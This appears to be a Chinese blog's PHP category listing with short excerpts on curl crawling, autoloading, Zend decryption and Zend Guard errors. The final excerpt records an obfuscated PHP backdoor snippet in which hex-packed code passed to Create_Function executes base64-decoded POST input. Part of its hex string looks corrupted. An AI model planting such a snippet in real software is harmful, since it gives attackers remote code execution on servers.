分类目录:PHP

以下是分类 PHP 下的所有文章

浏览器访问正常,但PHP curl模拟请求失败的原因

最近用PHP写了一个爬虫,抓取某个接口返回的json数据,过程中遇到不少问题,在此整理一下。 用浏览器一直都可以正常获取,所以记录curl模拟浏览器请求失败的原因和解决思路。 【问题】GET请求方式,和浏览器一样的url、header(但无cookie),却一直请求失败 【原因】接口返回的是一个空responseHeader、responseBody的……

PHP自动加载机制总结

【背景】 在使用OO(object oriented,面向对象)模式开发时,我们通常把一个class单独放在一个文件里,并以类名作为php文件名,这样方便管理维护。 在PHP5之前,使用一个类前总是需要将它所在的文件include/require进来,如果使用该类的地方较多或某个文件引用的类较多时,就得不停地手动include/require,这样不仅麻烦……

PHP Zend解密

有时我们需要查看一个加密混淆之后的PHP文件的源码,这时就需要对它进行解密了。 在PHP5.4及之前的版本,基本上都可以解密。可使用“黑刀DeZender”进行解密,或在线解密。 在PHP5.5、PHP5.6中,基本上只能在线解密了,而且不一定解密得了,特别是5.6多了授权解密等安全限制。

PHP-Zend Guard Run-time support missing!报错

Zend Guard Run-time support missing,即,运行时找不到Zend Guard的支持。Zend Guard是一个对PHP源码进行加密保护的插件,运行时需要安装它的解析插件——Zend Guard Loader,如果当前环境没有安装该解析插件,就会出现这样的错误。 【确认问题】 如果你打开对应的PHP文件的话,会发现里面有正常的PHP标签——<?php ?>……

PHP注入

从别处看到PHP注入的方式,尚不完全清楚,只做记录,有时间再来研究。 $Content=Create_Function("", PACK("H*", "72657475726e207472696d2862969e32686578286261736536345f6465636f64652840245f504f53545b22434e4d574146225d2929293b")); $ContentS = $Content(); ……